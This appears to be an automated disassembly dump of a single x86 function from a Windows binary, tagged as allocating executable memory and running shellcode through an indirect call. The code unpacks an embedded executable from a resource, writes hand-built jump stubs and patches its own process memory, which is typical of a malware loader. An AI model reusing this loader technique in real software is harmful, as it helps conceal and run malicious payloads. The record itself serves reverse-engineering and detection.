Function at 0x40163c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc5c
push ebx
push esi
push edi
lea esi, [ebp - 0x3a4]
mov eax, 0x415b68
call fcn.004057f0
mov edx, dword [0x418d50]
xor edi, edi
mov dword [ebp - 0x34], edx
push str.xxsim_nsyt_usb2
push 1
push 1
push 0
call sub.KERNEL32.DLL_CreateSemaphoreA
mov dword [0x418fe4], eax
call fcn.00401a08
sub eax, 6
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x3c]
push eax
lea edx, [ebp - 0x320]
push edx
lea ecx, [ebp - 0x21c]
push ecx
push 0
call fcn.004012ec
add esp, 0x10
test eax, eax
je 0x40199a
mov eax, dword [0x418fe4]
push eax
call sub.KERNEL32.DLL_CloseHandle
cmp byte [ebp - 0x21c], 0
je 0x4016eb
mov word [ebp - 0x18], 8
lea edx, [ebp - 4]
push edx
call fcn.004030b0
pop ecx
inc dword [ebp - 0xc]
mov word [ebp - 0x18], 0x14
dec dword [ebp - 0xc]
push 2
lea ecx, [ebp - 4]
push ecx
call fcn.00403104
mov word [ebp - 0x18], 0
add esp, 8
push 0x1c4
lea eax, [ebp - 0x21c]
push eax
push 0x418ff4
call fcn.004054a4
add esp, 0xc
push esi
push edi
mov esi, 0x415628
lea edi, [ebp - 0x340]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
push 0x1c4
lea eax, [ebp - 0x340]
push eax
push 0x64
push 0x418ff4
call fcn.00403514
add esp, 0x10
cmp byte [ebp - 0x210], 0
je 0x40175d
cmp byte [ebp - 0x21a], 2
je 0x40175d
mov ecx, 0x418ff4
mov edx, 0x70
push dword [ecx + edx*4]
dec edx
jns 0x401751
call dword [0x418dc0]
sub dword [ebp - 0x3c], 0x1c4
cmp byte [ebp - 0x214], 0
je 0x4017ad
mov eax, dword [0x415604]
push eax
call fcn.0040c548
pop ecx
mov dword [ebp - 0x44], eax
push 4
push 0x1000
mov edx, dword [ebp - 0x44]
push edx
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov ebx, eax
mov eax, dword [ebp - 0x44]
push eax
push ebx
mov edx, dword [ebp - 0x3c]
push edx
mov ecx, dword [0x415604]
push ecx
call fcn.0040c4c8
add esp, 0x10
mov dword [ebp - 0x3c], eax
jmp 0x4017d5
push 4
push 0x1000
mov eax, dword [ebp - 0x3c]
push eax
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov ebx, eax
mov eax, dword [ebp - 0x3c]
push eax
mov edx, dword [0x415604]
push edx
push ebx
call fcn.004054a4
add esp, 0xc
lea ecx, [ebp - 0x320]
push ecx
lea eax, [ebp - 0x38]
push eax
lea edx, [ebp - 0x30]
push edx
mov ecx, dword [ebp - 0x3c]
push ecx
push edi
push ebx
call fcn.00401a8c
add esp, 0x18
test eax, eax
jne 0x401814
push 0x8000
push 0
push ebx
call sub.KERNEL32.DLL_VirtualFree
xor eax, eax
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
jmp 0x4019b9
push 0x8000
push 0
push ebx
call sub.KERNEL32.DLL_VirtualFree
call sub.KERNEL32.DLL_GetCurrentProcess
mov dword [ebp - 0x48], eax
call fcn.00401620
mov dword [0x418fe8], eax
mov ecx, 0x418fe8
mov dword [ebp - 0x4c], ecx
lea eax, [ebp - 0x2c]
push eax
push 0x40
mov edx, dword [ebp - 0x30]
push edx
mov ecx, dword [ebp - 0x34]
push ecx
call sub.KERNEL32.DLL_VirtualProtect
test eax, eax
jne 0x401863
xor eax, eax
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
jmp 0x4019b9
xor ebx, ebx
mov byte [esi + ebx], 0x6a
inc ebx
mov byte [esi + ebx], 0
inc ebx
mov byte [esi + ebx], 0x68
inc ebx
push 4
lea eax, [ebp - 0x30]
push eax
mov edx, esi
add edx, ebx
push edx
call fcn.004054a4
add ebx, 4
add esp, 0xc
mov ecx, esi
mov byte [esi + ebx], 0x68
inc ebx
push 4
add ecx, ebx
push 0x418fdc
push ecx
call fcn.004054a4
add ebx, 4
add esp, 0xc
lea eax, [ebp - 0x34]
mov edx, esi
mov byte [esi + ebx], 0x68
inc ebx
push 4
push eax
add edx, ebx
push edx
call fcn.004054a4
add ebx, 4
add esp, 0xc
lea ecx, [ebp - 0x48]
mov eax, esi
mov byte [esi + ebx], 0x68
inc ebx
push 4
push ecx
add eax, ebx
push eax
call fcn.004054a4
add ebx, 4
add esp, 0xc
lea edx, [ebp - 0x4c]
mov ecx, esi
mov byte [esi + ebx], 0xff
inc ebx
mov byte [esi + ebx], 0x15
inc ebx
push 4
push edx
add ecx, ebx
push ecx
call fcn.004054a4
add ebx, 4
mov eax, esi
mov ecx, eax
add esp, 0xc
mov byte [esi + ebx], 0x8b
inc ebx
mov byte [esi + ebx], 0xe5
inc ebx
mov byte [esi + ebx], 0x5d
inc ebx
mov byte [esi + ebx], 0x8b
inc ebx
mov byte [esi + ebx], 0xe5
inc ebx
mov byte [esi + ebx], 0x5d
inc ebx
mov byte [esi + ebx], 0x83
inc ebx
mov byte [esi + ebx], 0xc4
inc ebx
mov byte [esi + ebx], 8
inc ebx
mov byte [esi + ebx], 0xe9
inc ebx
mov edx, dword [ebp - 0x40]
sub ecx, edx
mov edi, edx
sub ecx, 5
mov edx, dword [ebp - 0x218]
mov dword [0x418fec], ecx
add edx, dword [0x418d50]
mov dword [ebp - 0x38], edx
lea edx, [ebx + 4]
mov ecx, dword [ebp - 0x38]
sub ecx, eax
sub ecx, edx
add ebx, eax
mov dword [ebp - 0x50], ecx
lea ecx, [ebp - 0x50]
push 4
push ecx
push ebx
call fcn.004054a4
add esp, 0xc
lea eax, [ebp - 0x57]
mov byte [ebp - 0x58], 0xe9
push 4
push 0x418fec
push eax
call fcn.004054a4
add esp, 0xc
lea eax, [ebp - 0x58]
push 0
push 5
push eax
push edi
mov edx, dword [ebp - 0x48]
push edx
call sub.KERNEL32.DLL_WriteProcessMemory
jmp 0x4019ad
push 0x10
push 0x4156db
push str.Cant_load_Exe_from_Res_
push 0
call sub.USER32.DLL_MessageBoxA
xor eax, eax
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret